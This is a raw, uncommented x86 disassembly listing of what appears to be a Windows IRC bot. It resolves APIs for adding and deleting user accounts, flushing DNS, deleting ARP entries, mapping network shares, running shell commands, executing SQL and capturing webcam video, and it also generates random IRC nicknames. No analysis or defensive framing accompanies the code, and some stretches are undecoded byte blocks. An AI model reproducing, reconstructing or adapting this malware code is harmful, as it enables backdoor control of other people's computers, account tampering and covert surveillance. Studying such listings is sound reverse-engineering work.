aNetuseradd ; "NetUserAdd" push edi mov dword_4CAEA0, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CAE4C, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CAE3C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CAED4, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CAFCC, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CAF84, eax call esi cmp dword_4CAE68, ebx mov dword_4CAEA8, eax jz short loc_40A582 cmp dword_4CAE40, ebx jz short loc_40A582 cmp dword_4CAEB8, ebx jz short loc_40A582 cmp dword_4CAEEC, ebx jz short loc_40A582 cmp dword_4CB004, ebx jz short loc_40A582 cmp dword_4CAEA0, ebx jz short loc_40A582 cmp dword_4CAE4C, ebx jz short loc_40A582 cmp dword_4CAE3C, ebx jz short loc_40A582 cmp dword_4CAED4, ebx jz short loc_40A582 cmp dword_4CAFCC, ebx jz short loc_40A582 cmp dword_4CAF84, ebx jnz short loc_40A58C jmp short loc_40A582 ; --------------------------------------------------------------------------- loc_40A577: ; CODE XREF: sub_409B12+969j nop call near ptr 2670763h mov dword_4CB070, eax loc_40A582: ; CODE XREF: sub_409B12+A11j ; sub_409B12+A19j ... mov dword_4CB06C, 1 loc_40A58C: ; CODE XREF: sub_409B12+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A5C1 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CAE90, eax call esi cmp dword_4CAE90, ebx mov dword_4CAF6C, eax jz short loc_40A5CC cmp eax, ebx jnz short loc_40A5D6 jmp short loc_40A5CC ; --------------------------------------------------------------------------- loc_40A5C1: ; CODE XREF: sub_409B12+A85j call near ptr 2670763h nop mov dword_4CB078, eax loc_40A5CC: ; CODE XREF: sub_409B12+AA7j ; sub_409B12+AADj mov dword_4CB074, 1 loc_40A5D6: ; CODE XREF: sub_409B12+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A60B push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CAFF0, eax call esi cmp dword_4CAFF0, ebx mov dword_4CAFEC, eax jz short loc_40A616 cmp eax, ebx jnz short loc_40A620 jmp short loc_40A616 ; --------------------------------------------------------------------------- loc_40A60B: ; CODE XREF: sub_409B12+ACFj call near ptr 2670763h nop mov dword_4CB080, eax loc_40A616: ; CODE XREF: sub_409B12+AF1j ; sub_409B12+AF7j mov dword_4CB07C, 1 loc_40A620: ; CODE XREF: sub_409B12+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A67F push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4CB01C, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4CB014, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4CAFDC, eax call esi cmp dword_4CB01C, ebx mov dword_4CAEAC, eax jz short loc_40A68A cmp dword_4CB014, ebx jz short loc_40A68A cmp dword_4CAFDC, ebx jz short loc_40A68A cmp eax, ebx jnz short loc_40A694 jmp short loc_40A68A ; --------------------------------------------------------------------------- loc_40A67F: ; CODE XREF: sub_409B12+B19j nop call near ptr 2670763h mov dword_4CB088, eax loc_40A68A: ; CODE XREF: sub_409B12+B55j ; sub_409B12+B5Dj ... mov dword_4CB084, 1 loc_40A694: ; CODE XREF: sub_409B12+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A6C9 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4CAEE0, eax call esi cmp dword_4CAEE0, ebx mov dword_4CAFE8, eax jz short loc_40A6D4 cmp eax, ebx jnz short loc_40A6DE jmp short loc_40A6D4 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_409B12+B8Dj nop call near ptr 2670763h mov dword_4CB090, eax loc_40A6D4: ; CODE XREF: sub_409B12+BAFj ; sub_409B12+BB5j mov dword_4CB08C, 1 loc_40A6DE: ; CODE XREF: sub_409B12+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A767 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4CAFB0, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4CAFFC, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4CAF38, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4CAEF0, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4CAF90, eax call esi cmp dword_4CAFB0, ebx mov dword_4CAF00, eax jz short loc_40A772 cmp dword_4CAFFC, ebx jz short loc_40A772 cmp dword_4CAF38, ebx jz short loc_40A772 cmp dword_4CAEF0, ebx jz short loc_40A772 cmp dword_4CAF90, ebx jz short loc_40A772 cmp eax, ebx jnz short loc_40A77C jmp short loc_40A772 ; --------------------------------------------------------------------------- loc_40A767: ; CODE XREF: sub_409B12+BD7j nop call near ptr 2670763h mov dword_4CB098, eax loc_40A772: ; CODE XREF: sub_409B12+C2Dj ; sub_409B12+C35j ... mov dword_4CB094, 1 loc_40A77C: ; CODE XREF: sub_409B12+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A7B1 push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4CAEC4, eax call esi cmp dword_4CAEC4, ebx mov dword_4CAFA4, eax jz short loc_40A7BC cmp eax, ebx jnz short loc_40A7C6 jmp short loc_40A7BC ; --------------------------------------------------------------------------- loc_40A7B1: ; CODE XREF: sub_409B12+C75j nop call near ptr 2670763h mov dword_4CB0A0, eax loc_40A7BC: ; CODE XREF: sub_409B12+C97j ; sub_409B12+C9Dj mov dword_4CB09C, 1 loc_40A7C6: ; CODE XREF: sub_409B12+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409B12 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A7CE proc near ; CODE XREF: sub_401ACD+2536p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4CB034, esi push edi mov edi, [ebp+arg_8] jz short loc_40A816 push dword_4CB038 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A816: ; CODE XREF: sub_40A7CE+1Aj cmp dword_4CB03C, esi jz short loc_40A84A push dword_4CB040 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A84A: ; CODE XREF: sub_40A7CE+4Ej cmp dword_4CB044, esi jz short loc_40A87E push dword_4CB048 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A87E: ; CODE XREF: sub_40A7CE+82j cmp dword_4CB04C, esi jz short loc_40A8B2 push dword_4CB050 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8B2: ; CODE XREF: sub_40A7CE+B6j cmp dword_4CB054, esi jz short loc_40A8E6 push dword_4CB058 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A8E6: ; CODE XREF: sub_40A7CE+EAj cmp dword_4CB05C, esi jz short loc_40A91A push dword_4CB060 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A91A: ; CODE XREF: sub_40A7CE+11Ej cmp dword_4CB064, esi jz short loc_40A94E push dword_4CB068 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A94E: ; CODE XREF: sub_40A7CE+152j cmp dword_4CB06C, esi jz short loc_40A982 push dword_4CB070 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A982: ; CODE XREF: sub_40A7CE+186j cmp dword_4CB074, esi jz short loc_40A9B6 push dword_4CB078 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj cmp dword_4CB07C, esi jz short loc_40A9EA push dword_4CB080 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj cmp dword_4CB084, esi jz short loc_40AA1E push dword_4CB088 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA1E: ; CODE XREF: sub_40A7CE+222j cmp dword_4CB08C, esi jz short loc_40AA52 push dword_4CB090 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA52: ; CODE XREF: sub_40A7CE+256j cmp dword_4CB094, esi jz short loc_40AA86 push dword_4CB098 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj cmp dword_4CB09C, esi jz short loc_40AABA push dword_4CB0A0 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41B886 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 20h loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj lea eax, [ebp+var_200] push offset unk_42D330 push eax call sub_41B886 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40AAE7 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40AAE7: ; CODE XREF: sub_40A7CE+302j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx pop edi pop esi pop ebx leave retn sub_40A7CE endp ; =============== S U B R O U T I N E ======================================= sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp ; sub_401ACD+5C95p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4CAFB4 cmp eax, 0FFFFFFFFh jnz short locret_40AB21 push [esp+arg_0] call dword_4CAFF8 test eax, eax jnz short loc_40AB1A or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AB21: ; CODE XREF: sub_40AAF9+Dj retn sub_40AAF9 endp ; =============== S U B R O U T I N E ======================================= sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p mov ecx, dword_4CAE90 xor eax, eax test ecx, ecx jz short locret_40AB30 call ecx locret_40AB30: ; CODE XREF: sub_40AB22+Aj retn sub_40AB22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4CAFF0 mov ecx, eax sub ecx, edi jz loc_40ABF7 sub ecx, 32h jz loc_40ABF0 sub ecx, 48h jz short loc_40AB91 sub ecx, 6Eh jz short loc_40AB8A loc_40AB73: ; CODE XREF: sub_40AB31+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D544 push eax call sub_41B886 add esp, 0Ch jmp short loc_40ABD1 ; --------------------------------------------------------------------------- loc_40AB8A: ; CODE XREF: sub_40AB31+40j push offset unk_42D520 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40AB91: ; CODE XREF: sub_40AB31+3Bj push [ebp+var_8] call sub_41B4D5 push [ebp+var_8] mov esi, eax push edi push esi call sub_41B590 add esp, 10h cmp esi, edi jz short loc_40ABBE lea eax, [ebp+var_8] push ebx push eax push esi call dword_4CAFF0 cmp eax, edi jz short loc_40ABF7 jmp short loc_40AB73 ; --------------------------------------------------------------------------- loc_40ABBE: ; CODE XREF: sub_40AB31+79j push offset unk_42D4F0 loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej ; sub_40AB31+C4j lea eax, [ebp+var_88] push eax call sub_41B886 pop ecx pop ecx loc_40ABD1: ; CODE XREF: sub_40AB31+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_4151AC pop ecx loc_40ABE1: ; CODE XREF: sub_40AB31+C8j ; sub_40AB31+DCj push esi call sub_41B0B1 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40ABF0: ; CODE XREF: sub_40AB31+32j push offset unk_42D4C0 jmp short loc_40ABC3 ; --------------------------------------------------------------------------- loc_40ABF7: ; CODE XREF: sub_40AB31+29j ; sub_40AB31+89j cmp [esi], edi jbe short loc_40ABE1 lea ebx, [esi+4] loc_40ABFE: ; CODE XREF: sub_40AB31+DAj push ebx call dword_4CAFEC inc edi add ebx, 18h cmp edi, [esi] jb short loc_40ABFE jmp short loc_40ABE1 sub_40AB31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p ; sub_401ACD+2398p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4CAF18 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4CB0A4 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41B886 add esp, 18h mov eax, esi pop esi leave retn sub_40AC0F endp ; =============== S U B R O U T I N E ======================================= sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp ; sub_412B08+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AC91 mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AC84: ; CODE XREF: sub_40AC68+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AC84 pop edi jmp short loc_40AC95 ; --------------------------------------------------------------------------- loc_40AC91: ; CODE XREF: sub_40AC68+Aj mov edx, [esp+4+arg_0] loc_40AC95: ; CODE XREF: sub_40AC68+27j test esi, esi pop esi jz short loc_40AC9F movzx ecx, byte ptr [edx] add eax, ecx loc_40AC9F: ; CODE XREF: sub_40AC68+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AC68 endp ; =============== S U B R O U T I N E ======================================= sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p ; DATA XREF: ___:off_42D590o arg_0 = dword ptr 4 push esi push edi nop call near ptr 26805CDh push eax call sub_41B8D8 pop ecx call sub_41B8E2 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+arg_0] push off_42D5F8[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AD1D loc_40ACF7: ; CODE XREF: sub_40ACB5+66j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40ACF7 loc_40AD1D: ; CODE XREF: sub_40ACB5+40j mov eax, edi pop edi pop esi retn sub_40ACB5 endp ; --------------------------------------------------------------------------- dw 5756h dd 2758A4E8h, 0E8509002h, 10BA8h, 10247C8Bh, 3C2404C7h dd 68004291h, 42C91Ch, 0E8571C6Ah, 10C38h, 0C483F633h dd 98353910h, 7E004290h, 0B88E826h, 0A6A0001h, 0F9F75999h dd 64685752h, 6A0042B4h, 11E8571Ch, 8300010Ch, 3B4614C4h dd 42909835h, 8BDA7C00h, 0C35E5FC7h ; =============== S U B R O U T I N E ======================================= sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp arg_0 = dword ptr 4 push ebx push esi push edi nop call near ptr 26805CDh push eax call sub_41B8D8 pop ecx call sub_41B8E2 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429098 test esi, esi jle short loc_40ADC3 loc_40ADAD: ; CODE XREF: sub_40AD80+41j call sub_41B8E2 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40ADAD loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AD80 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h nop call near ptr 26805CDh push eax call sub_41B8D8 pop ecx lea eax, [ebp-8] mov esi, offset byte_431250 push eax push esi call near ptr 26B0000h nop movsx eax, byte_431250 push 41h pop ecx push 1 pop edx loc_40AE09: ; CODE XREF: ___:0040AE14j cmp eax, ecx jnz short loc_40AE10 mov [ebp-4], edx loc_40AE10: ; CODE XREF: ___:0040AE0Bj inc ecx cmp ecx, 5Bh jl short loc_40AE09 push 61h pop ecx loc_40AE19: ; CODE XREF: ___:0040AE24j cmp eax, ecx jnz short loc_40AE20 mov [ebp-4], edx loc_40AE20: ; CODE XREF: ___:0040AE1Bj inc ecx cmp ecx, 7Bh jl short loc_40AE19 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41B980 xor esi, esi add esp, 0Ch cmp dword_429098, esi jle short loc_40AE65 loc_40AE3F: ; CODE XREF: ___:0040AE63j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AE3F loc_40AE65: ; CODE XREF: ___:0040AE3Dj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26805CDh push eax call sub_41B8D8 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h call near ptr 26C0000h nop mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431254 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AEDA loc_40AEB4: ; CODE XREF: ___:0040AED8j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AEB4 loc_40AEDA: ; CODE XREF: ___:0040AEB2j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset dword_43D128 mov dword ptr [ebp-94h], 94h nop call near ptr 26C0550h call near ptr 26805CDh nop push eax call sub_41B8D8 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AF64 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF44 cmp dword ptr [ebp-84h], 1 jnz short loc_40AF34 mov esi, offset dword_43127C loc_40AF34: ; CODE XREF: ___:0040AF2Dj cmp dword ptr [ebp-84h], 2 jnz short loc_40AFA0 mov esi, offset dword_431278 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF44: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AF54 mov esi, offset dword_431274 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF54: ; CODE XREF: ___:0040AF4Bj cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AF9B mov esi, offset dword_431270 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF64: ; CODE XREF: ___:0040AF1Bj cmp dword ptr [ebp-90h], 5 jnz short loc_40AF9B cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AF7D mov esi, offset dword_43126C jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF7D: ; CODE XREF: ___:0040AF74j cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AF8D mov esi, offset dword_431268 jmp short loc_40AFA0 ; --------------------------------------------------------------------------- loc_40AF8D: ; CODE XREF: ___:0040AF84j cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431264 jz short loc_40AFA0 loc_40AF9B: ; CODE XREF: ___:0040AF5Bj ; ___:0040AF6Bj mov esi, offset dword_431260 loc_40AFA0: ; CODE XREF: ___:0040AF3Bj ; ___:0040AF42j ... mov edi, [ebp+8] push esi push offset dword_431258 push 1Ch push edi call sub_41B980 xor esi, esi add esp, 10h cmp dword_429098, esi jle short loc_40AFE4 loc_40AFBE: ; CODE XREF: ___:0040AFE2j call sub_41B8E2 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B464 push 1Ch push edi call sub_41B980 add esp, 14h inc esi cmp esi, dword_429098 jl short loc_40AFBE loc_40AFE4: ; CODE XREF: ___:0040AFBCj mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 26805CDh nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40B039 call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B022 mov eax, offset dword_43D128 loc_40B022: ; CODE XREF: sub_40AFEA+31j push eax push esi push offset dword_431280 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41B980 add esp, 14h jmp short loc_40B059 ; --------------------------------------------------------------------------- loc_40B039: ; CODE XREF: sub_40AFEA+22j call dword_4CAF80 test eax, eax mov eax, offset dword_431288 jnz short loc_40B04D mov eax, offset dword_43D128 loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41B886 pop ecx pop ecx loc_40B059: ; CODE XREF: sub_40AFEA+4Dj lea eax, [ebp+var_1C] push eax call sub_41AFE0 pop ecx cmp eax, 2 pop esi jbe short loc_40B088 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C1E0 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41B5F0 add esp, 18h loc_40B088: ; CODE XREF: sub_40AFEA+7Dj mov eax, [ebp+arg_0] leave retn sub_40AFEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp ; sub_401955+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D58C loc_40B099: ; CODE XREF: sub_40B08D+3Fj cmp [ebp+arg_C], 0 jz short loc_40B0B4 lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C070 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B0BE ; --------------------------------------------------------------------------- loc_40B0B4: ; CODE XREF: sub_40B08D+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B0BE: ; CODE XREF: sub_40B08D+25j test eax, eax jnz short loc_40B0D0 add esi, 14h inc edi cmp esi, offset off_42D604 jb short loc_40B099 jmp short loc_40B0DE ; --------------------------------------------------------------------------- loc_40B0D0: ; CODE XREF: sub_40B08D+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D590[eax*4] pop ecx loc_40B0DE: ; CODE XREF: sub_40B08D+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B0F1 push [ebp+arg_0] call sub_40AFEA pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B0F1: ; CODE XREF: sub_40B08D+57j mov eax, [ebp+arg_0] pop ebp retn sub_40B08D endp ; =============== S U B R O U T I N E ======================================= sub_40B0F6 proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43DCB0 loc_40B0FE: ; CODE XREF: sub_40B0F6+18j cmp byte ptr [eax], 0 jz short loc_40B112 add eax, 234h inc edi cmp eax, offset dword_4CACB0 jl short loc_40B0FE jmp short loc_40B15D ; --------------------------------------------------------------------------- loc_40B112: ; CODE XREF: sub_40B0F6+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43DCB0[esi] push eax call sub_41B5F0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43DEB0[esi], eax and dword_43DEB4[esi], 0 mov eax, [esp+8+arg_8] and dword_43DEB8[esi], 0 mov dword_43DEBC[esi], eax and byte_43DEC8[esi], 0 pop esi loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj mov eax, edi pop edi retn sub_40B0F6 endp ; --------------------------------------------------------------------------- byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 90006A14h, 2C4E4FE8h, 555E5F02h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p ; sub_40B2BF+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B2B9 cmp esi, 400h jge short loc_40B2B9 imul esi, 234h push edi push ebx push dword_43DEC4[esi] lea edi, dword_43DEC4[esi] call near ptr 26806D6h nop cmp [edi], ebx jz short loc_40B269 push 1 pop ebp loc_40B269: ; CODE XREF: sub_40B231+33j mov [edi], ebx lea edi, dword_43DEB8[esi] mov dword_43DEB0[esi], ebx mov dword_43DEB4[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B28A push eax call sub_4199C9 pop ecx loc_40B28A: ; CODE 